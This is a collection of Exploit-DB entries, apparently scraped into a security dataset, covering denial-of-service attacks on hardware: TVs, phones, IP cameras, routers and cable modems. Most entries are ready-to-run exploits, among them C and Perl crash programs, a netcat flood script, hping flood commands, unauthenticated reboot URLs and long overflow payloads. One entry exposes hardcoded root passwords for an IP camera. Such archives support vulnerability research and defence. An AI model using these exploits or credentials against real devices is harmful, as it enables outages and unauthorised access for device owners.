deardaniel/secdata-raw huggingface dataset:
Exploit-DB #33328
Description: Skybox Security 6.3.x < 6.4.x - Multiple Denial of Service Vulnerabilities
Type: dos
Platform: hardware
Date: 2014-05-12
Author: Luigi Vezzoso

Exploit:
# Exploit Title: [SKYBOX Security - DDOS]
 
# Date: [22-Jan-2014]
# Exploit Author: [Luigi Vezzoso]
# Vendor Homepage: [http://www.skyboxsecurity.com]
# Version: [Skybox View Appliances with ISO versions: 6.3.33-2.14, 
6.3.31-2.14, 6.4.42-2.54, 6.4.45-2.56, 6.4.46-2.57]
# Tested on: [Centos 6.4 kernel 2.6.32]
# CVE : [CVE-2014-2085]
 
#OVERVIEW
A vulnerability has been found in some Skybox View Appliances’ Admin 
interfaces which would allow a potential malicious party to bypass 
the authentication mechanism and execute reboot and/or shutdown of 
appliance self
 
#INTRODUCTION
Skybox Security has a complete portfolio of security management 
tools that deliver the security intelligence needed to act fast to 
minimize risks and eliminate attack vectors.  Based on a powerful 
risk analytics platform that links data from vulnerability scanners, 
threat intelligence feeds, firewalls and other network infrastructure 
devices – Skybox gives you context to prioritize risks accurately and 
automatically, in minutes.
 
#VULNERABILITY DESCRIPTION
It's possible to open and execute the reboot and shutdown script 
without autentication at the following links:
https://1.1.1.1:444/scripts/commands/reboot?_=[PII_REDACTED]
https://1.1.1.1:444/scripts/commands/shutdown?_=[PII_REDACTED]
#VERSIONS AFFECTED
Skybox View Appliances with ISO versions: 6.3.33-2.14, 6.3.31-2.14, 
6.4.42-2.54, 6.4.45-2.56, 6.4.46-2.57
 
#SOLUTION
Please refer to the vendor security advisor: Security Advisory 2014-
3-25-1
 
#CREDITS
Luigi Vezzoso 
email:  luigivezzoso@gmail.com
skype:  luigivezzoso
Exploit-DB #18705
Description: Sony Bravia - Remote Denial of Service
Type: dos
Platform: hardware
Date: 2012-04-05
Author: Gabriel Menezes Nunes

Exploit:
# Exploit Title: Sony Bravia Remote Denial of Service
# Date: 04/04/2012
# Author: Gabriel Menezes Nunes
# Version: Sony Bravia TV
# Tested on: Sony Bravia TV (KDL-32CX525)
# CVE: CVE-2012-2210

Playing with my TV, I found a bug that can crash the device.

Running a hping command against a Sony Bravia TV (KDL-32CX525),
all the functions stop working instantly. You cannot change the
volume, channels or access any function. Instantly. After 35 seconds
the TV stop working and back. This happens 3 times. At fourth time, the
TV shuts down. In less than 3 minutes, the TV is off remotely. It is
necessary to turn on the TV physically.

Attack:

hping -S TV.IP.Address -p anyport -i u1 --flood 

Example: hping -S 10.0.0.3 -p 2828 -i u1 --flood
Exploit-DB #25711
Description: Sony Ericsson P900 Beamer - Malformed File Name Handling Denial of Service
Type: dos
Platform: hardware
Date: 2005-05-26
Author: Marek Bialoglowy

Exploit:
source: https://www.securityfocus.com/bid/13782/info

Sony Ericsson P900 handset is affected by a remote denial of service vulnerability. This issue arises because the application fails to perform boundary checks prior to copying user-supplied data into a finite sized buffer.

The vulnerability presents itself in the Bluetooth-related Beamer application when handling a malformed file.

Sony Ericsson P900 handset is reportedly affected, however, other handsets such as Sony Ericsson P800 may be vulnerable as well. 

Create a malformed name using 'remotename' in 'obexftp_put_file' function of obexftp client.c:

---- snip ---
object = build_object_from_file (cli->obexhandle,localname, \
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA \
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA \
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA");
---- snip ---

Chose any existing file and send it using obexftp:
# ./obexftp -b 00:0A:D9:E7:0B:1D --channel 2 -p /etc/passwd -v
Exploit-DB #44197
Description: Sony Playstation 4 (PS4) 5.01 < 5.05 - WebKit Code Execution (PoC)
Type: dos
Platform: hardware
Date: 2018-02-27
Author: ALEXZZZ9

Exploit:
PS4 5.01 WebKit Exploit PoC
===========================
Based on:
 - [CVE-2017-7005](https://bugs.chromium.org/p/project-zero/issues/detail?id=1208)
 - [PegaSwitch](https://github.com/reswitched/pegaswitch) ([Copyright 2017 ReSwitched Team](https://github.com/reswitched/pegaswitch/blob/master/LICENSE.md))
 - 4.0x exploit by [qwertyoruiopz](https://twitter.com/qwertyoruiopz)


> This exploit supports 5.01 (maybe others)!
			
Installation
============

1. Install the latest version of node from [nodejs.org](https://nodejs.org)
2. Clone this repository
3. Run `npm install`

Usage
=====

1. Run `npm start`

License
=======

MIT License. See attached `LICENSE.md` file.

Download: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/44197.zip
Exploit-DB #1473
Description: Sony/Ericsson Bluetooth - Reset Display Denial of Service
Type: dos
Platform: hardware
Date: 2006-02-06
Author: Pierre Betouin

Exploit:
/* Sony/Ericsson reset display - PoC */
/* Pierre BETOUIN - pierre.betouin@infratech.fr */
/* 05-02-2006 */
/* Vulnerability found using BSS fuzzer : */
/* Download www.secuobs.com/news/05022006-bluetooth10.shml */
/* */
/* Causes anormal behaviours on some Sony/Ericsson */
/* cell phones */
/* Vulnerable tested devices : */
/* - K600i */
/* - V600i */
/* - K750i */
/* - W800i */
/* - And maybe other ones... */
/* */
/* Vulnerable devices will slowly turn their screen into */
/* black and then display a white screen. */
/* After a short period (~45sec), they will go back to */
/* their normal behaviour */
/* */
/* gcc -lbluetooth reset_display_sonyericsson.c */
/* -o reset_display_sonyericsson */
/* ./reset_display_sonyericsson 00:12:EE:XX:XX:XX */

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <bluetooth/bluetooth.h>
#include <bluetooth/hci.h>
#include <bluetooth/l2cap.h>

#define SIZE 4
#define FAKE_SIZE 1 // SIZE - 3 (3 bytes <=> L2CAP header)

int main(int argc, char **argv)
{
char *buffer;
l2cap_cmd_hdr *cmd;
struct sockaddr_l2 addr;
int sock, sent, i;

if(argc < 2)
{
fprintf(stderr, "%s <btaddr>\n", argv[0]);
exit(EXIT_FAILURE);
}

if ((sock = socket(PF_BLUETOOTH, SOCK_RAW, BTPROTO_L2CAP)) < 0)
{
perror("socket");
exit(EXIT_FAILURE);
}

memset(&addr, 0, sizeof(addr));
addr.l2_family = AF_BLUETOOTH;

if (bind(sock, (struct sockaddr *) &addr, sizeof(addr)) < 0)
{
perror("bind");
exit(EXIT_FAILURE);
}

str2ba(argv[1], &addr.l2_bdaddr);

if (connect(sock, (struct sockaddr *) &addr, sizeof(addr)) < 0)
{
perror("connect");
exit(EXIT_FAILURE);
}

if(!(buffer = (char *) malloc ((int) SIZE + 1)))
{
perror("malloc");
exit(EXIT_FAILURE);
}

memset(buffer, 90, SIZE);

cmd = (l2cap_cmd_hdr *) buffer;
cmd->code = L2CAP_ECHO_REQ;
cmd->ident = 1;
cmd->len = FAKE_SIZE;

if( (sent=send(sock, buffer, SIZE, 0)) >= 0)
{
printf("L2CAP packet sent (%d)\n", sent);
}

printf("Buffer:\t");
for(i=0; i<sent; i++)
printf("%.2X ", (unsigned char) buffer[i]);
printf("\n");

free(buffer);
close(sock);
return EXIT_SUCCESS;
}

// milw0rm.com [2006-02-06]
Exploit-DB #46261
Description: Sricam gSOAP 2.8 - Denial of Service
Type: dos
Platform: hardware
Date: 2019-01-28
Author: Andrew Watson

Exploit:
#!/bin/bash

#######################################################################################
#
#     Exploit Title: Sricam gSOAP 2.8 - Denial of Service
#              Date: 25/01/2019           
#     Vendor Status: Informed (24/10/2018)
#            CVE ID: CVE-2019-6973
#    Exploit Author: Andrew Watson
#           Contact: https://keybase.io/bitfu
#  Software Version: Sricam gSOAP 2.8
#   Vendor Homepage: http://www.sricam.com/
#         Tested on: Sricam IP CCTV Camera running gSOAP 2.8 on TCP/5000
#       PoC Details: Sricam IP CCTV Camera's are vulnerable to denial of service,
#                    exploitable by sending multiple incomplete requests.
#        References: https://github.com/bitfu/sricam-gsoap2.8-dos-exploit
#
#        DISCLAIMER: This proof of concept is provided for educational purposes only!
#
#######################################################################################


if [ -z "$3" ]; then
	echo "#############################################################################"
	echo -e "[*] Sricam gSOAP 2.8 Denial of Service exploit by bitfu"
	echo -e "\n[*] Usage: $0 <IP_Address> <Port> <#_DoS_Payloads>"
	echo "[*] Example: $0 127.0.0.1 5000 10"
	echo -e "\n[!] Each DoS payload sent adds another 20 seconds downtime.\n"
	exit 0
fi

time=$(expr $3 \* 20)
echo "[*] Sricam gSOAP 2.8 Denial of Service exploit by bitfu"
echo -e "\n[+] Sending $3 DoS payloads..."
echo "[+] Expected downtime: $time seconds"
for dos in $(seq 1 $3); do
netcat $1 $2 &
done
echo -e "\n[!] $dos DoS payloads sent to: $1:$2"
echo
Exploit-DB #28228
Description: Sunbelt Kerio Personal Firewall 4.3.426 - CreateRemoteThread Denial of Service
Type: dos
Platform: hardware
Date: 2006-07-15
Author: David Matousek

Exploit:
source: https://www.securityfocus.com/bid/18996/info

Sunbelt Kerio Personal Firewall is prone to a denial-of-service vulnerability. This issue can occur when a program calls the 'CreateRemoteThread' Windows API call.

Exploitation of this vulnerability could cause the firewall application to crash. This could expose the computer to further attacks.

The individual who discovered this vulnerability claims to have tested it on Sunbelt Kerio Personal Firewall versions 4.3.246 and 4.2.3.912. They were unable to reproduce the vulnerability on version 4.2.3.912, which is an older release. The vulnerable functionality may have been introduced at some point after the 4.2.3.912 release, but this has not been confirmed.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/28228.zip
Exploit-DB #40687
Description: SunellSecurity NVR / Camera - Denial of Service
Type: dos
Platform: hardware
Date: 2016-11-02
Author: qwsj

Exploit:
# Exploit Title: SunellSecurity NVR / Cams - Buffer overflow in CGI
# Date: 11.2.2016
# Exploit Author: qwsj
# Vendor Homepage: https://github.com/qwsj
# Version: 1.6.08-09 / 2.0.06-08
# Tested on: Windows / Linux

Bug in CGI scrypt's for develop.
Web service buffer overflow and leading to a stop web service, and the device rebooted.

Symbols (1072): -AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

# For NVR:
Version firmware:
1.6.0902.0000.3.0.29.0.0
1.6.0802.0000.0.0.2906.1.0
Use link: http://IP/cgi-bin/videoStream.cgi?userName=

# For Cams:
Version firmware:
2.0.0601.1002.3.0.56.0.1_TD
2.0.0801.1002.1.1.125.0.0
2.0.0601.1002.3.0.33.0.12
Use link: http://IP/cgi-bin/image.cgi?userName=

# Eg: http://IP/cgi-bin/image.cgi?userName=-AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

ЯR qwsj 2016
Exploit-DB #23788
Description: SureCom EP-9510AX/EP-4504AX Network Device - Malformed Web Authorisation Request Denial of Service (1)
Type: dos
Platform: hardware
Date: 2004-03-02
Author: Vasco Costa

Exploit:
source: https://www.securityfocus.com/bid/9795/info

An issue in the handling of specific web requests by SureCom network devices has been identified. By placing a malformed request to the web configuration interface, it is possible for an attacker to deny service to legitimate users of a vulnerable device.

#!/usr/bin/perl


use IO::Socket;


# default settings

$server = "192.168.0.1";
$port = "80";
$http_request = "GET / HTTP/1.1\r\nAuthorization: B 00000000\r\n\r\n";

if(@ARGV == 2) {

        $server = $ARGV[0];
        $port = $ARGV[1];

}
else {

        print "Usage: ./surecom_tester [address] [port]\n\n";
        print "Using default settings...\n\n";

}

$socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>$server,
PeerPort=>$port)
  or die "ERROR: can't connect to $server on port $port\n\n";
print $socket $http_request;
$http_response = <$socket>;
print "The server's not vulnerable and replied with " . $http_response .
"\n";
Exploit-DB #23789
Description: SureCom EP-9510AX/EP-4504AX Network Device - Malformed Web Authorisation Request Denial of Service (2)
Type: dos
Platform: hardware
Date: 2004-03-02
Author: shaun2k2

Exploit:
// source: https://www.securityfocus.com/bid/9795/info
 
An issue in the handling of specific web requests by SureCom network devices has been identified. By placing a malformed request to the web configuration interface, it is possible for an attacker to deny service to legitimate users of a vulnerable device.


#include <stdio.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netdb.h>
#include <netinet/in.h>

int main(int argc, char *argv[]) {
        if(argc < 3) {
                printf("SureCom Network Device
DoS,\n");
                printf("by shaun2k2 -
shaunige@yahoo.co.uk\n\n");
                printf("Usage: %s <host> <port>\n",
argv[0]);
                exit(-1);
        }

        int sock;
        struct hostent *he;
        struct sockaddr_in dest;

        if((he = gethostbyname(argv[1])) == NULL) {
                herror("gethostbyname()");
                exit(-1);
        }


        printf("SureCom Network Device DoS,\n");
        printf("by shaun2k2 -
shaunige@yahoo.co.uk\n\n");

        printf("[+] Crafting exploit buffer...\n\n");
        char explbuf[] = "GET /
HTTP/1.1\r\nAuthorization: B 00000000\r\n\r\n";

        if((sock = socket(AF_INET, SOCK_STREAM, 0)) <
0) {
                perror("socket()");
                exit(-1);
        }

        dest.sin_family = AF_INET;
        dest.sin_port = htons(atoi(argv[2]));
        dest.sin_addr = *((struct in_addr
*)he->h_addr);

        printf("[+] Connecting...\n");
        if(connect(sock, (struct sockaddr *)&dest,
sizeof(struct sockaddr)) < 0) {
                perror("socket()");
                exit(-1);
        }

        printf("[+] Connected!\n\n");

        printf("[+] Sending malicious HTTP
request...\n");
        send(sock, explbuf, strlen(explbuf), 0);
        sleep(2);
        close(sock);

        printf("[+] Done!\n");

        return(0);
}
Exploit-DB #11125
Description: SwiFTP 1.11 - Overflow (Denial of Service) (PoC)
Type: dos
Platform: hardware
Date: 2010-01-13
Author: Julien Bedard

Exploit:
# Exploit Title: SwiFTP v1.11 Overflow Dos PoC
# Software Link: http://swiftp.googlecode.com/files/SwiFTP_1.11.apk
# Version: v1.11
# Tested on: Android OS G1 Rogers / Rooted (CyanogenMod-4.0.4)


#!/usr/bin/perl
############
#
# Simple Dos Crap for the Android app : SwiFTP Server v1.11
# by Julien Bedard
#
# This DoS have been patched in the new version that's why
# I'm releasing it. 
#
# SwiFTP Server v1.11 --> Vulnerable
# SwiFTP Server v1.13 --> Patched
#
####################################

use IO::Socket::INET;

$overflow = 'A' x 8000;

$ftpraw=IO::Socket::INET->new("192.168.2.13:2121") or die;

print $ftpraw "user nouser\n";
print $ftpraw "pass nopass\n";
print $ftpraw "stor $overflow\n";
print $ftpraw "QUIT\n";

close $ftpraw;
Exploit-DB #32692
Description: Symbian S60 - Malformed SMS/MMS Remote Denial of Service
Type: dos
Platform: hardware
Date: 2008-12-30
Author: Tobias Engel

Exploit:
source: https://www.securityfocus.com/bid/33072/info

Symbian S60 is prone to a denial-of-service vulnerability.

Attackers can exploit this issue to prevent users from sending or receiving SMS or MMS messages.

This issue affects handsets using Symbian S60.

The following example message is available:

"123456789@123[PII_REDACTED]567890123 "
Exploit-DB #43401
Description: Telesquare SKT LTE Router SDT-CS3B1 - Denial of Service
Type: dos
Platform: hardware
Date: 2017-12-27
Author: LiquidWorm

Exploit:
#!/usr/bin/env python
#
#
# Telesquare SKT LTE Router SDT-CS3B1 Remote Reboot Denial Of Service
#
#
# Vendor: Telesquare Co., Ltd.
# Product web page: http://www.telesquare.co.kr
# Affected version: FwVer: SDT-CS3B1, sw version 1.2.0
#                   LteVer: ML300S5XEA41_090  1 0.1.0
#                   Modem model: PM-L300S
#
# Summary: We introduce SDT-CS3B1 LTE router which is a SKT 3G and 4G
# LTE wireless communication based LTE router product.
#
# Desc: The router suffers from an unauthenticated reboot command execution.
# Attackers can exploit this issue to cause a denial of service scenario.
#
# --------------------------------------------------------------------
# /lte/lteuicc.shtml:
# -------------------
#
# 858: function RebootRequest()
# 859: {
# 860:     var url = "../cgi-bin/lte.cgi?";
# 861:     var param = "Command=Reboot";
# 862:     XHRPost(RebootHandle, url, param, false ); //sync call
# 863: }
# 
# --------------------------------------------------------------------
#
# Tested on: lighttpd/1.4.20
#
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
#                             @zeroscience
#
#
# Advisory ID: ZSL-2017-5444
# Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2017-5444.php
#
#
# 22.12.2017
#


import sys, requests

if len(sys.argv) < 2:
	print 'SKT LTE Router SDT-CS3B1 Remote Reboot'
	print 'Usage: b00t.py <ip> <port>\n'
	quit()

ip = sys.argv[1]
port = sys.argv[2]

r = requests.get("http://"+ip+":"+port+"/cgi-bin/lte.cgi?Command=Reboot")

# shw: while true; do ./b00t.py 10.0.0.17 8081; sleep 20; done
#print r.content  #if in r.content: <xml></xml>, reboot true.

print "Router rebooted."
Exploit-DB #19477
Description: TFS Gateway 4.0 - Denial of Service
Type: dos
Platform: hardware
Date: 1999-08-31
Author: anonymous

Exploit:
source: https://www.securityfocus.com/bid/613/info

TFS Gateway 4.0, when configured in a specific non-default manner, is vulnerable to a remotely exploitable denial of service attack. If 'return entire message to sender' is enabled for failed send attempts, and an email is sent to the TFS Gateway with 1: the From: address set to an invalid address on a remote machine and 2: an invalid To: address on the target machine, the gateway will attempt to return the complete message once every 10 seconds until an administrator manually stops it. If enough emails of sufficient size of this nature are sent it can lead to a degradation or denial of service.

telnet to Gateway smtp server and enter the following commands:

HELO
MAIL FROM: invalid@remote.com
RCPT TO: invalid@target.com
DATA

.
QUIT
Exploit-DB #39706
Description: TH692 Outdoor P2P HD Waterproof IP Camera - Hard-Coded Credentials
Type: dos
Platform: hardware
Date: 2016-04-18
Author: DLY

Exploit:
Exploit Title: TH692- Outdoor P2P HD Waterproof IP Camera hardcoded credentials
Date: 4/16/2016
Exploit Author: DLY
Vendor: TENVIS Technology Co., Ltd
Product: TH692- Outdoor P2P HD Waterproof IP Camera
Product webpage: http://www.tenvis.com/th-692-outdoor-p2p-hd-waterproof-ip-camera-p-230.html
Affected version: TH692C-V. 16.1.16.1.1.4
firmware download link: http://download.tenvis.com/files/updatefiles/UPG_ipc3360a-w7-M20-hi3[PII_REDACTED]9_173554.ov

user: Mroot
pass:cat1029
user:Wproot
pass: cat1029

root@kali:~# strings UPG_ipc3360a-w7-M20-hi3[PII_REDACTED]9_173554.ov.1 | grep root
rootpath
rootfs crc %lx
------------------start upgrade rootfs------------------
------------------end upgrade rootfs------------------
bootargs=mem=74M console=ttyAMA0,115200 root=/dev/mtdblock2 rootfstype=jffs2 mtdparts=hi_sfc:256K(boot),2560K(kernel),11520K(rootfs),1M(config),64K(key),960K(ext)
nfsroot
7root
Bmount -t nfs -o nolock 192.168.0.99:/home/bt/vvvipc_develop/rootfs_target /nfsroot
k01000100    rootbox    nohelp info
root::0:
Mroot:$1$xFoO/s3I$zRQPwLG2yX1biU31a2wxN/:0:0::/root:/bin/sh
Wproot:$1$d3VPdE0x$Ztn09cyReJy5PynZgwCbw0:0:0::/root:/bin/sh
nfsroot
pivot_root
xswitch_root
chroot
nfsroot
root@kali:~# john --show ipcamhashes
Mroot:cat1029:0:0::/root:/bin/sh
Wproot:cat1029:0:0::/root:/bin/sh

2 password hashes cracked, 0 left
Exploit-DB #23394
Description: Thomson Cablemodem TCM315 - Denial of Service
Type: dos
Platform: hardware
Date: 2003-11-24
Author: Shell security group

Exploit:
// source: https://www.securityfocus.com/bid/9091/info

A problem has been identified in Thomson Cable Modems when handling long requests on the HTTP port. Because of this, it may be possible for an attacker to deny service to legitimate users of the device. 

/*
ADVISORY - Thomson Cablemodem TCM315 Denial of Service

Shell security group (2003) http://www.shellsec.net

November 10 of 2003

Tested against: TCM315 MP
Software Version: ST31.04.00
Software Model: A801
Bootloader: 2.1.4c
Impact: Users with access to the network can remotely shutdown internet 
connection.

Discovered by: aT4r Andres[at]shellsec.net
Vendor: contacted (no answer)
Fix: no yet

usage: just, thdos.exe 192.168.100.1

*/

#include <stdio.h>
#include <winsock2.h>

void main(int argc,char *argv[]) {
char evil[150],buffer[1000];
struct sockaddr_in shellsec;
int fd;
WSADATA ws;

WSAStartup( MAKEWORD(1,1), &( ws) );

shellsec.sin_family = AF_INET;
shellsec.sin_port = htons(80);
shellsec.sin_addr.s_addr = inet_addr(argv[1]);

memset(evil,'\0',sizeof(evil));
memset(evil,'A',100);
sprintf(buffer,"GET /%s HTTP/1.1\r\n\r\n\r\n",evil);

fd = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
if (connect(fd,( struct sockaddr *)&shellsec,sizeof(shellsec)) != -1) {
send(fd,buffer,strlen(buffer),0);
printf("done. Thomson Cablemodem reset!\n");
sleep(100);
}
else printf("Unable to connect to CM.\n");
}